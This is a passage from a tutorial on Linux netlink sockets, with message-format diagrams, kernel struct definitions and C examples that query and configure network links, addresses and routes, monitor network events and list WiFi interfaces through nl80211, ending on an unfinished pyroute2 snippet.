        K2 -->|Event| M3[Subscribed Process 3]
    end

    subgraph Pattern3["User-to-User"]
        UU1[User Process 1] -->|Message| UU2[User Process 2]
    end

    style Pattern1 fill:#E6F3FF
    style Pattern2 fill:#FFE6F0
    style Pattern3 fill:#E6FFE6

struct sockaddr_nl {
    sa_family_t     nl_family;  /* AF_NETLINK */
    unsigned short  nl_pad;     /* Zero */
    __u32           nl_pid;     /* Port ID (process ID or 0) */
    __u32           nl_groups;  /* Multicast groups mask */
};

flowchart LR
    A[Create Socket] --> B{Specify nl_pid?}
    B -->|pid = 0| C[Kernel Auto-assigns<br/>unique PID]
    B -->|pid = getpid| D[Use process PID]
    B -->|pid = custom| E[Use custom value<br/>must be unique]

    C --> F[bind success]
    D --> G{PID available?}
    E --> H{Value available?}

    G -->|Yes| F
    G -->|No| I[EADDRINUSE error]
    H -->|Yes| F
    H -->|No| I

    style F fill:#90EE90
    style I fill:#FFB6C6

// Example: Join RTMGRP_LINK group to receive link state changes
struct sockaddr_nl sa = {
    .nl_family = AF_NETLINK,
    .nl_groups = RTMGRP_LINK | RTMGRP_IPV4_ROUTE
};
bind(sock, (struct sockaddr *)&sa, sizeof(sa));

struct nlmsghdr {
    __u32 nlmsg_len;    /* Length of message including header */
    __u16 nlmsg_type;   /* Message type (protocol specific) */
    __u16 nlmsg_flags;  /* Additional flags */
    __u32 nlmsg_seq;    /* Sequence number */
    __u32 nlmsg_pid;    /* Sender port ID */
};

#define NLMSG_NOOP      0x1     /* Nothing, ignore */
#define NLMSG_ERROR     0x2     /* Error message */
#define NLMSG_DONE      0x3     /* End of multi-part message */
#define NLMSG_OVERRUN   0x4     /* Data lost */

RTM_NEWLINK     // Create/update link
RTM_DELLINK     // Delete link
RTM_GETLINK     // Get link info
RTM_NEWADDR     // Add address
RTM_DELADDR     // Delete address
RTM_GETADDR     // Get address
RTM_NEWROUTE    // Add route
RTM_DELROUTE    // Delete route
RTM_GETROUTE    // Get route
// ... many more

/* Request flags */
#define NLM_F_REQUEST   0x01    /* Request message */
#define NLM_F_MULTI     0x02    /* Multi-part message */
#define NLM_F_ACK       0x04    /* Request acknowledgment */
#define NLM_F_ECHO      0x08    /* Echo request */

/* Modifiers for GET requests */
#define NLM_F_ROOT      0x100   /* Return complete table */
#define NLM_F_MATCH     0x200   /* Return all matching */
#define NLM_F_ATOMIC    0x400   /* Atomic operation */
#define NLM_F_DUMP      (NLM_F_ROOT | NLM_F_MATCH)

/* Modifiers for NEW requests */
#define NLM_F_REPLACE   0x100   /* Replace existing */
#define NLM_F_EXCL      0x200   /* Don't replace if exists */
#define NLM_F_CREATE    0x400   /* Create if doesn't exist */
#define NLM_F_APPEND    0x800   /* Add to end of list */

graph TB
    subgraph Message["Netlink Message"]
        direction TB
        Header[nlmsghdr<br/>16 bytes]
        Payload[Message Payload]

        subgraph PayloadDetail["Payload Structure"]
            FamilyHdr[Family-specific Header<br/>e.g., ifinfomsg, rtmsg]
            Attrs[Attributes TLV]

            subgraph AttrDetail["Attributes (TLV Format)"]
                Attr1[Attribute 1<br/>rtattr/nlattr]
                Attr2[Attribute 2]
                Attr3[Attribute 3]
                AttrN[...]
            end
        end
    end

    Header --> Payload
    Payload --> FamilyHdr
    FamilyHdr --> Attrs
    Attrs --> Attr1
    Attrs --> Attr2
    Attrs --> Attr3
    Attrs --> AttrN

    style Header fill:#FFE6E6
    style FamilyHdr fill:#E6F3FF
    style Attrs fill:#E6FFE6

/* Old-style attributes */
struct rtattr {
    unsigned short  rta_len;    /* Length including header */
    unsigned short  rta_type;   /* Attribute type */
    /* Attribute data follows */
};

/* New-style attributes */
struct nlattr {
    __u16           nla_len;    /* Length including header */
    __u16           nla_type;   /* Attribute type */
    /* Attribute data follows */
};

/* Attribute length macros */
#define RTA_ALIGNTO     4
#define RTA_ALIGN(len)  (((len)+RTA_ALIGNTO-1) & ~(RTA_ALIGNTO-1))
#define RTA_LENGTH(len) (RTA_ALIGN(sizeof(struct rtattr)) + (len))
#define RTA_SPACE(len)  RTA_ALIGN(RTA_LENGTH(len))

/* Attribute data access */
#define RTA_DATA(rta)   ((void*)(((char*)(rta)) + RTA_LENGTH(0)))
#define RTA_PAYLOAD(rta) ((int)((rta)->rta_len) - RTA_LENGTH(0))

/* Attribute iteration */
#define RTA_OK(rta,len) \
    ((len) >= (int)sizeof(struct rtattr) && \
     (rta)->rta_len >= sizeof(struct rtattr) && \
     (rta)->rta_len <= (len))
#define RTA_NEXT(rta,attrlen) \
    ((attrlen) -= RTA_ALIGN((rta)->rta_len), \
     (struct rtattr*)(((char*)(rta)) + RTA_ALIGN((rta)->rta_len)))

/* Creating nested attribute */
struct rtattr *nest = (struct rtattr *)buffer;
nest->rta_type = IFLA_LINKINFO;
nest->rta_len = RTA_LENGTH(0);

/* Add child attributes */
add_attribute(buffer, IFLA_INFO_KIND, "vlan", 4);
add_attribute(buffer, IFLA_INFO_DATA, &data, sizeof(data));

/* Update nest length */
nest->rta_len = (char *)current_pos - (char *)nest;

graph LR
    subgraph Msg["Message Layout (bytes)"]
        H[Header<br/>0-15]
        P1[Payload<br/>16-N]
        Pad1[Padding<br/>0-3 bytes]
        A1[Attr1 Header<br/>4 bytes]
        A1D[Attr1 Data]
        Pad2[Padding]
        A2[Attr2 Header]
        A2D[Attr2 Data]
    end

    style H fill:#FFE6E6
    style P1 fill:#E6F3FF
    style Pad1 fill:#FFFFE6
    style A1 fill:#E6FFE6
    style Pad2 fill:#FFFFE6

/* Link messages */
RTM_NEWLINK     /* Create/modify link */
RTM_DELLINK     /* Delete link */
RTM_GETLINK     /* Get link info */
RTM_SETLINK     /* Set link attributes */

/* Address messages */
RTM_NEWADDR     /* Add address */
RTM_DELADDR     /* Delete address */
RTM_GETADDR     /* Get address */

/* Route messages */
RTM_NEWROUTE    /* Add route */
RTM_DELROUTE    /* Delete route */
RTM_GETROUTE    /* Get route */

/* Neighbor messages */
RTM_NEWNEIGH    /* Add neighbor */
RTM_DELNEIGH    /* Delete neighbor */
RTM_GETNEIGH    /* Get neighbor */

/* Rule messages */
RTM_NEWRULE     /* Add routing rule */
RTM_DELRULE     /* Delete routing rule */
RTM_GETRULE     /* Get routing rule */

/* Qdisc messages */
RTM_NEWQDISC    /* Add qdisc */
RTM_DELQDISC    /* Delete qdisc */
RTM_GETQDISC    /* Get qdisc */

/* Traffic class messages */
RTM_NEWTCLASS   /* Add traffic class */
RTM_DELTCLASS   /* Delete traffic class */
RTM_GETTCLASS   /* Get traffic class */

/* Filter messages */
RTM_NEWTFILTER  /* Add filter */
RTM_DELTFILTER  /* Delete filter */
RTM_GETTFILTER  /* Get filter */

struct ifinfomsg {
    unsigned char   ifi_family;     /* AF_UNSPEC */
    unsigned char   __ifi_pad;
    unsigned short  ifi_type;       /* Device type (ARPHRD_*) */
    int             ifi_index;      /* Interface index */
    unsigned int    ifi_flags;      /* Device flags (IFF_*) */
    unsigned int    ifi_change;     /* Change mask */
};

enum {
    IFLA_UNSPEC,
    IFLA_ADDRESS,           /* Hardware address */
    IFLA_BROADCAST,         /* Broadcast address */
    IFLA_IFNAME,            /* Interface name */
    IFLA_MTU,               /* MTU */
    IFLA_LINK,              /* Link index */
    IFLA_QDISC,             /* Queueing discipline */
    IFLA_STATS,             /* Interface statistics */
    IFLA_MASTER,            /* Master device index */
    IFLA_OPERSTATE,         /* Operating state */
    IFLA_LINKMODE,          /* Link mode */
    IFLA_LINKINFO,          /* Link type info (nested) */
    IFLA_TXQLEN,            /* Transmit queue length */
    IFLA_MAP,               /* Device mapping */
    IFLA_WEIGHT,            /* Weight */
    // ... many more
};

#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <sys/socket.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main() {
    int sock;
    struct {
        struct nlmsghdr nlh;
        struct ifinfomsg ifi;
    } req;
    char buf[8192];
    struct iovec iov;
    struct msghdr msg;

    /* Create netlink socket */
    sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
    if (sock < 0) {
        perror("socket");
        return 1;
    }

    /* Prepare request message */
    memset(&req, 0, sizeof(req));
    req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));
    req.nlh.nlmsg_type = RTM_GETLINK;
    req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP;
    req.nlh.nlmsg_seq = 1;
    req.nlh.nlmsg_pid = getpid();

    req.ifi.ifi_family = AF_UNSPEC;

    /* Send request */
    iov.iov_base = &req;
    iov.iov_len = req.nlh.nlmsg_len;
    memset(&msg, 0, sizeof(msg));
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;

    if (sendmsg(sock, &msg, 0) < 0) {
        perror("sendmsg");
        close(sock);
        return 1;
    }

    /* Receive response */
    while (1) {
        struct nlmsghdr *nlh;
        int len;

        iov.iov_base = buf;
        iov.iov_len = sizeof(buf);
        len = recvmsg(sock, &msg, 0);

        if (len < 0) {
            perror("recvmsg");
            break;
        }

        for (nlh = (struct nlmsghdr *)buf;
             NLMSG_OK(nlh, len);
             nlh = NLMSG_NEXT(nlh, len)) {

            if (nlh->nlmsg_type == NLMSG_DONE) {
                goto done;
            }

            if (nlh->nlmsg_type == NLMSG_ERROR) {
                fprintf(stderr, "Error in netlink response\n");
                goto done;
            }

            if (nlh->nlmsg_type == RTM_NEWLINK) {
                struct ifinfomsg *ifi = NLMSG_DATA(nlh);
                struct rtattr *rta = IFLA_RTA(ifi);
                int rtalen = IFLA_PAYLOAD(nlh);

                printf("Interface %d: ", ifi->ifi_index);

                /* Parse attributes */
                while (RTA_OK(rta, rtalen)) {
                    if (rta->rta_type == IFLA_IFNAME) {
                        printf("%s ", (char *)RTA_DATA(rta));
                    } else if (rta->rta_type == IFLA_MTU) {
                        printf("MTU=%u ", *(unsigned int *)RTA_DATA(rta));
                    } else if (rta->rta_type == IFLA_OPERSTATE) {
                        unsigned char state = *(unsigned char *)RTA_DATA(rta);
                        printf("State=%s ",
                               state == 6 ? "UP" :
                               state == 2 ? "DOWN" : "UNKNOWN");
                    }
                    rta = RTA_NEXT(rta, rtalen);
                }
                printf("\n");
            }
        }
    }

done:
    close(sock);
    return 0;
}

#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <net/if.h>
#include <sys/socket.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>

int set_link_state(const char *ifname, int up) {
    int sock;
    struct {
        struct nlmsghdr nlh;
        struct ifinfomsg ifi;
        char attrbuf[512];
    } req;
    struct rtattr *rta;
    int ifindex;

    /* Get interface index */
    ifindex = if_nametoindex(ifname);
    if (ifindex == 0) {
        perror("if_nametoindex");
        return -1;
    }

    /* Create socket */
    sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
    if (sock < 0) {
        perror("socket");
        return -1;
    }

    /* Prepare request */
    memset(&req, 0, sizeof(req));
    req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));
    req.nlh.nlmsg_type = RTM_NEWLINK;
    req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
    req.nlh.nlmsg_seq = 1;
    req.nlh.nlmsg_pid = getpid();

    req.ifi.ifi_family = AF_UNSPEC;
    req.ifi.ifi_index = ifindex;
    req.ifi.ifi_flags = up ? IFF_UP : 0;
    req.ifi.ifi_change = IFF_UP;

    /* Send request */
    if (send(sock, &req, req.nlh.nlmsg_len, 0) < 0) {
        perror("send");
        close(sock);
        return -1;
    }

    /* Wait for acknowledgment */
    char buf[4096];
    int len = recv(sock, buf, sizeof(buf), 0);

    struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
    if (nlh->nlmsg_type == NLMSG_ERROR) {
        struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(nlh);
        if (err->error != 0) {
            fprintf(stderr, "Netlink error: %d\n", err->error);
            close(sock);
            return -1;
        }
    }

    close(sock);
    return 0;
}

int main(int argc, char *argv[]) {
    if (argc != 3) {
        fprintf(stderr, "Usage: %s <interface> <up|down>\n", argv[0]);
        return 1;
    }

    int up = strcmp(argv[2], "up") == 0;

    if (set_link_state(argv[1], up) == 0) {
        printf("Successfully set %s %s\n", argv[1], up ? "UP" : "DOWN");
        return 0;
    }

    return 1;
}

struct ifaddrmsg {
    __u8    ifa_family;     /* Address family (AF_INET/AF_INET6) */
    __u8    ifa_prefixlen;  /* Prefix length */
    __u8    ifa_flags;      /* Address flags (IFA_F_*) */
    __u8    ifa_scope;      /* Address scope (RT_SCOPE_*) */
    __u32   ifa_index;      /* Interface index */
};

enum {
    IFA_UNSPEC,
    IFA_ADDRESS,        /* Address itself */
    IFA_LOCAL,          /* Local address */
    IFA_LABEL,          /* Interface name */
    IFA_BROADCAST,      /* Broadcast address */
    IFA_ANYCAST,        /* Anycast address */
    IFA_CACHEINFO,      /* Address cache info */
    IFA_MULTICAST,      /* Multicast address */
    IFA_FLAGS,          /* Extended flags */
    // ...
};

#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <net/if.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>

int add_ipv4_address(const char *ifname, const char *ip, int prefixlen) {
    int sock;
    struct {
        struct nlmsghdr nlh;
        struct ifaddrmsg ifa;
        char attrbuf[512];
    } req;
    struct rtattr *rta;
    int ifindex;
    struct in_addr addr;

    /* Get interface index */
    ifindex = if_nametoindex(ifname);
    if (ifindex == 0) {
        perror("if_nametoindex");
        return -1;
    }

    /* Parse IP address */
    if (inet_pton(AF_INET, ip, &addr) != 1) {
        fprintf(stderr, "Invalid IP address\n");
        return -1;
    }

    /* Create socket */
    sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
    if (sock < 0) {
        perror("socket");
        return -1;
    }

    /* Prepare request */
    memset(&req, 0, sizeof(req));
    req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifaddrmsg));
    req.nlh.nlmsg_type = RTM_NEWADDR;
    req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK;
    req.nlh.nlmsg_seq = 1;
    req.nlh.nlmsg_pid = getpid();

    req.ifa.ifa_family = AF_INET;
    req.ifa.ifa_prefixlen = prefixlen;
    req.ifa.ifa_flags = IFA_F_PERMANENT;
    req.ifa.ifa_scope = RT_SCOPE_UNIVERSE;
    req.ifa.ifa_index = ifindex;

    /* Add IFA_LOCAL attribute */
    rta = (struct rtattr *)(((char *)&req) + NLMSG_ALIGN(req.nlh.nlmsg_len));
    rta->rta_type = IFA_LOCAL;
    rta->rta_len = RTA_LENGTH(sizeof(addr));
    memcpy(RTA_DATA(rta), &addr, sizeof(addr));
    req.nlh.nlmsg_len = NLMSG_ALIGN(req.nlh.nlmsg_len) + RTA_LENGTH(sizeof(addr));

    /* Add IFA_ADDRESS attribute */
    rta = (struct rtattr *)(((char *)&req) + NLMSG_ALIGN(req.nlh.nlmsg_len));
    rta->rta_type = IFA_ADDRESS;
    rta->rta_len = RTA_LENGTH(sizeof(addr));
    memcpy(RTA_DATA(rta), &addr, sizeof(addr));
    req.nlh.nlmsg_len = NLMSG_ALIGN(req.nlh.nlmsg_len) + RTA_LENGTH(sizeof(addr));

    /* Send request */
    if (send(sock, &req, req.nlh.nlmsg_len, 0) < 0) {
        perror("send");
        close(sock);
        return -1;
    }

    /* Check acknowledgment */
    char buf[4096];
    int len = recv(sock, buf, sizeof(buf), 0);
    struct nlmsghdr *nlh = (struct nlmsghdr *)buf;

    if (nlh->nlmsg_type == NLMSG_ERROR) {
        struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(nlh);
        if (err->error != 0) {
            fprintf(stderr, "Failed to add address: %s\n", strerror(-err->error));
            close(sock);
            return -1;
        }
    }

    close(sock);
    return 0;
}

int main(int argc, char *argv[]) {
    if (argc != 4) {
        fprintf(stderr, "Usage: %s <interface> <ip> <prefixlen>\n", argv[0]);
        fprintf(stderr, "Example: %s eth0 192.168.1.100 24\n", argv[0]);
        return 1;
    }

    int prefixlen = atoi(argv[3]);

    if (add_ipv4_address(argv[1], argv[2], prefixlen) == 0) {
        printf("Successfully added %s/%d to %s\n", argv[2], prefixlen, argv[1]);
        return 0;
    }

    return 1;
}

struct rtmsg {
    unsigned char   rtm_family;     /* Address family (AF_INET/AF_INET6) */
    unsigned char   rtm_dst_len;    /* Destination prefix length */
    unsigned char   rtm_src_len;    /* Source prefix length */
    unsigned char   rtm_tos;        /* Type of service */
    unsigned char   rtm_table;      /* Routing table ID */
    unsigned char   rtm_protocol;   /* Routing protocol */
    unsigned char   rtm_scope;      /* Route scope */
    unsigned char   rtm_type;       /* Route type */
    unsigned int    rtm_flags;      /* Route flags */
};

enum {
    RTA_UNSPEC,
    RTA_DST,            /* Destination address */
    RTA_SRC,            /* Source address */
    RTA_IIF,            /* Input interface */
    RTA_OIF,            /* Output interface */
    RTA_GATEWAY,        /* Gateway address */
    RTA_PRIORITY,       /* Route priority/metric */
    RTA_PREFSRC,        /* Preferred source address */
    RTA_METRICS,        /* Route metrics */
    RTA_MULTIPATH,      /* Multipath route */
    RTA_FLOW,           /* Flow classification */
    RTA_CACHEINFO,      /* Cache information */
    RTA_TABLE,          /* Routing table ID (extended) */
    // ... more
};

#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <net/if.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>

int add_route(const char *dest, int prefixlen, const char *gateway, const char *ifname) {
    int sock;
    struct {
        struct nlmsghdr nlh;
        struct rtmsg rtm;
        char attrbuf[512];
    } req;
    struct rtattr *rta;
    struct in_addr dst_addr, gw_addr;
    int ifindex;

    /* Parse addresses */
    if (inet_pton(AF_INET, dest, &dst_addr) != 1) {
        fprintf(stderr, "Invalid destination address\n");
        return -1;
    }

    if (gateway && inet_pton(AF_INET, gateway, &gw_addr) != 1) {
        fprintf(stderr, "Invalid gateway address\n");
        return -1;
    }

    /* Get interface index if specified */
    if (ifname) {
        ifindex = if_nametoindex(ifname);
        if (ifindex == 0) {
            perror("if_nametoindex");
            return -1;
        }
    }

    /* Create socket */
    sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
    if (sock < 0) {
        perror("socket");
        return -1;
    }

    /* Prepare request */
    memset(&req, 0, sizeof(req));
    req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct rtmsg));
    req.nlh.nlmsg_type = RTM_NEWROUTE;
    req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK;
    req.nlh.nlmsg_seq = 1;
    req.nlh.nlmsg_pid = getpid();

    req.rtm.rtm_family = AF_INET;
    req.rtm.rtm_dst_len = prefixlen;
    req.rtm.rtm_table = RT_TABLE_MAIN;
    req.rtm.rtm_protocol = RTPROT_BOOT;
    req.rtm.rtm_scope = RT_SCOPE_UNIVERSE;
    req.rtm.rtm_type = RTN_UNICAST;

    /* Add RTA_DST attribute */
    rta = (struct rtattr *)(((char *)&req) + NLMSG_ALIGN(req.nlh.nlmsg_len));
    rta->rta_type = RTA_DST;
    rta->rta_len = RTA_LENGTH(sizeof(dst_addr));
    memcpy(RTA_DATA(rta), &dst_addr, sizeof(dst_addr));
    req.nlh.nlmsg_len = NLMSG_ALIGN(req.nlh.nlmsg_len) + RTA_LENGTH(sizeof(dst_addr));

    /* Add RTA_GATEWAY attribute if specified */
    if (gateway) {
        rta = (struct rtattr *)(((char *)&req) + NLMSG_ALIGN(req.nlh.nlmsg_len));
        rta->rta_type = RTA_GATEWAY;
        rta->rta_len = RTA_LENGTH(sizeof(gw_addr));
        memcpy(RTA_DATA(rta), &gw_addr, sizeof(gw_addr));
        req.nlh.nlmsg_len = NLMSG_ALIGN(req.nlh.nlmsg_len) + RTA_LENGTH(sizeof(gw_addr));
    }

    /* Add RTA_OIF attribute if specified */
    if (ifname) {
        rta = (struct rtattr *)(((char *)&req) + NLMSG_ALIGN(req.nlh.nlmsg_len));
        rta->rta_type = RTA_OIF;
        rta->rta_len = RTA_LENGTH(sizeof(ifindex));
        memcpy(RTA_DATA(rta), &ifindex, sizeof(ifindex));
        req.nlh.nlmsg_len = NLMSG_ALIGN(req.nlh.nlmsg_len) + RTA_LENGTH(sizeof(ifindex));
    }

    /* Send request */
    if (send(sock, &req, req.nlh.nlmsg_len, 0) < 0) {
        perror("send");
        close(sock);
        return -1;
    }

    /* Check acknowledgment */
    char buf[4096];
    int len = recv(sock, buf, sizeof(buf), 0);
    struct nlmsghdr *nlh = (struct nlmsghdr *)buf;

    if (nlh->nlmsg_type == NLMSG_ERROR) {
        struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(nlh);
        if (err->error != 0) {
            fprintf(stderr, "Failed to add route: %s\n", strerror(-err->error));
            close(sock);
            return -1;
        }
    }

    close(sock);
    return 0;
}

int main(int argc, char *argv[]) {
    if (argc < 3) {
        fprintf(stderr, "Usage: %s <dest> <prefixlen> [gateway] [interface]\n", argv[0]);
        fprintf(stderr, "Example: %s 192.168.2.0 24 192.168.1.1 eth0\n", argv[0]);
        return 1;
    }

    const char *dest = argv[1];
    int prefixlen = atoi(argv[2]);
    const char *gateway = argc > 3 ? argv[3] : NULL;
    const char *ifname = argc > 4 ? argv[4] : NULL;

    if (add_route(dest, prefixlen, gateway, ifname) == 0) {
        printf("Successfully added route\n");
        return 0;
    }

    return 1;
}

#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <sys/socket.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void monitor_link_changes() {
    int sock;
    struct sockaddr_nl sa;
    char buf[8192];

    /* Create socket */
    sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
    if (sock < 0) {
        perror("socket");
        return;
    }

    /* Bind to multicast groups */
    memset(&sa, 0, sizeof(sa));
    sa.nl_family = AF_NETLINK;
    sa.nl_groups = RTMGRP_LINK | RTMGRP_IPV4_IFADDR | RTMGRP_IPV4_ROUTE;

    if (bind(sock, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
        perror("bind");
        close(sock);
        return;
    }

    printf("Monitoring network changes...\n");

    /* Receive and process events */
    while (1) {
        struct nlmsghdr *nlh;
        int len = recv(sock, buf, sizeof(buf), 0);

        if (len < 0) {
            perror("recv");
            break;
        }

        for (nlh = (struct nlmsghdr *)buf;
             NLMSG_OK(nlh, len);
             nlh = NLMSG_NEXT(nlh, len)) {

            if (nlh->nlmsg_type == RTM_NEWLINK || nlh->nlmsg_type == RTM_DELLINK) {
                struct ifinfomsg *ifi = NLMSG_DATA(nlh);
                const char *action = nlh->nlmsg_type == RTM_NEWLINK ? "NEW/UPDATE" : "DELETE";

                printf("LINK %s: index=%d flags=0x%x\n",
                       action, ifi->ifi_index, ifi->ifi_flags);

                /* Parse attributes */
                struct rtattr *rta = IFLA_RTA(ifi);
                int rtalen = IFLA_PAYLOAD(nlh);

                while (RTA_OK(rta, rtalen)) {
                    if (rta->rta_type == IFLA_IFNAME) {
                        printf("  Interface: %s\n", (char *)RTA_DATA(rta));
                    }
                    rta = RTA_NEXT(rta, rtalen);
                }
            } else if (nlh->nlmsg_type == RTM_NEWADDR || nlh->nlmsg_type == RTM_DELADDR) {
                struct ifaddrmsg *ifa = NLMSG_DATA(nlh);
                const char *action = nlh->nlmsg_type == RTM_NEWADDR ? "NEW" : "DELETE";

                printf("ADDR %s: family=%d index=%d\n",
                       action, ifa->ifa_family, ifa->ifa_index);
            } else if (nlh->nlmsg_type == RTM_NEWROUTE || nlh->nlmsg_type == RTM_DELROUTE) {
                struct rtmsg *rtm = NLMSG_DATA(nlh);
                const char *action = nlh->nlmsg_type == RTM_NEWROUTE ? "NEW" : "DELETE";

                printf("ROUTE %s: family=%d dst_len=%d\n",
                       action, rtm->rtm_family, rtm->rtm_dst_len);
            }
        }
    }

    close(sock);
}

int main() {
    monitor_link_changes();
    return 0;
}

graph TB
    subgraph UserSpace["User Space"]
        App[Application]
    end

    subgraph KernelSpace["Kernel Space"]
        GNL[Generic Netlink Core]

        subgraph Families["Generic Netlink Families"]
            NL80211[nl80211<br/>WiFi]
            DEVLINK[devlink<br/>Device Config]
            TEAM[team<br/>Link Aggregation]
            TASKSTATS[taskstats<br/>Task Statistics]
            CUSTOM[Custom Family]
        end
    end

    App -->|NETLINK_GENERIC| GNL
    GNL --> NL80211
    GNL --> DEVLINK
    GNL --> TEAM
    GNL --> TASKSTATS
    GNL --> CUSTOM

    style UserSpace fill:#E6F3FF
    style KernelSpace fill:#FFE6E6
    style Families fill:#E6FFE6

struct genlmsghdr {
    __u8    cmd;        /* Command */
    __u8    version;    /* Version */
    __u16   reserved;   /* Reserved */
};

+-------------------+
| nlmsghdr          |  <- Standard netlink header
+-------------------+
| genlmsghdr        |  <- Generic netlink header
+-------------------+
| Family Attributes |  <- Family-specific data (TLV)
+-------------------+

#include <linux/genetlink.h>

#define GENL_CTRL_NAME "nlctrl"     /* Controller family name */
#define GENL_CTRL_VERSION 2

/* Get family ID by name */
int get_family_id(int sock, const char *family_name) {
    struct {
        struct nlmsghdr nlh;
        struct genlmsghdr gnlh;
        char attrbuf[512];
    } req;
    struct rtattr *rta;
    int family_id = -1;

    /* Prepare request to controller */
    memset(&req, 0, sizeof(req));
    req.nlh.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
    req.nlh.nlmsg_type = GENL_ID_CTRL;  /* Controller family ID is always 0x10 */
    req.nlh.nlmsg_flags = NLM_F_REQUEST;
    req.nlh.nlmsg_seq = 1;
    req.nlh.nlmsg_pid = getpid();

    req.gnlh.cmd = CTRL_CMD_GETFAMILY;
    req.gnlh.version = GENL_CTRL_VERSION;

    /* Add family name attribute */
    rta = (struct rtattr *)(((char *)&req) + NLMSG_ALIGN(req.nlh.nlmsg_len));
    rta->rta_type = CTRL_ATTR_FAMILY_NAME;
    rta->rta_len = RTA_LENGTH(strlen(family_name) + 1);
    strcpy(RTA_DATA(rta), family_name);
    req.nlh.nlmsg_len = NLMSG_ALIGN(req.nlh.nlmsg_len) + RTA_ALIGN(rta->rta_len);

    /* Send request */
    if (send(sock, &req, req.nlh.nlmsg_len, 0) < 0) {
        return -1;
    }

    /* Receive response and parse family ID */
    char buf[4096];
    int len = recv(sock, buf, sizeof(buf), 0);

    struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
    if (NLMSG_OK(nlh, len) && nlh->nlmsg_type != NLMSG_ERROR) {
        struct genlmsghdr *gnlh = (struct genlmsghdr *)NLMSG_DATA(nlh);
        rta = (struct rtattr *)((char *)gnlh + GENL_HDRLEN);
        int rtalen = nlh->nlmsg_len - NLMSG_LENGTH(GENL_HDRLEN);

        while (RTA_OK(rta, rtalen)) {
            if (rta->rta_type == CTRL_ATTR_FAMILY_ID) {
                family_id = *(__u16 *)RTA_DATA(rta);
                break;
            }
            rta = RTA_NEXT(rta, rtalen);
        }
    }

    return family_id;
}

#include <linux/netlink.h>
#include <linux/genetlink.h>
#include <linux/nl80211.h>
#include <sys/socket.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int list_wifi_interfaces() {
    int sock;
    struct {
        struct nlmsghdr nlh;
        struct genlmsghdr gnlh;
    } req;
    int nl80211_id;

    /* Create socket */
    sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
    if (sock < 0) {
        perror("socket");
        return -1;
    }

    /* Get nl80211 family ID */
    nl80211_id = get_family_id(sock, "nl80211");
    if (nl80211_id < 0) {
        fprintf(stderr, "Failed to get nl80211 family ID\n");
        close(sock);
        return -1;
    }

    /* Prepare request */
    memset(&req, 0, sizeof(req));
    req.nlh.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
    req.nlh.nlmsg_type = nl80211_id;
    req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP;
    req.nlh.nlmsg_seq = 1;
    req.nlh.nlmsg_pid = getpid();

    req.gnlh.cmd = NL80211_CMD_GET_INTERFACE;
    req.gnlh.version = 1;

    /* Send request */
    if (send(sock, &req, req.nlh.nlmsg_len, 0) < 0) {
        perror("send");
        close(sock);
        return -1;
    }

    /* Receive and process response */
    char buf[8192];
    while (1) {
        struct nlmsghdr *nlh;
        int len = recv(sock, buf, sizeof(buf), 0);

        if (len < 0) {
            perror("recv");
            break;
        }

        for (nlh = (struct nlmsghdr *)buf;
             NLMSG_OK(nlh, len);
             nlh = NLMSG_NEXT(nlh, len)) {

            if (nlh->nlmsg_type == NLMSG_DONE) {
                goto done;
            }

            if (nlh->nlmsg_type == NLMSG_ERROR) {
                fprintf(stderr, "Error in response\n");
                goto done;
            }

            struct genlmsghdr *gnlh = (struct genlmsghdr *)NLMSG_DATA(nlh);
            struct rtattr *rta = (struct rtattr *)((char *)gnlh + GENL_HDRLEN);
            int rtalen = nlh->nlmsg_len - NLMSG_LENGTH(GENL_HDRLEN);

            printf("WiFi Interface:\n");

            while (RTA_OK(rta, rtalen)) {
                if (rta->rta_type == NL80211_ATTR_IFNAME) {
                    printf("  Name: %s\n", (char *)RTA_DATA(rta));
                } else if (rta->rta_type == NL80211_ATTR_IFINDEX) {
                    printf("  Index: %u\n", *(__u32 *)RTA_DATA(rta));
                } else if (rta->rta_type == NL80211_ATTR_WIPHY) {
                    printf("  PHY: %u\n", *(__u32 *)RTA_DATA(rta));
                }
                rta = RTA_NEXT(rta, rtalen);
            }
            printf("\n");
        }
    }

done:
    close(sock);
    return 0;
}

pip install pyroute2

from pyroute2 import IPRoute

# Create IPRoute object
ip = IPRoute()

# Get all links
links = ip.get_links()

for link in links:
    # Extract attributes
    attrs = dict(link['attrs'])

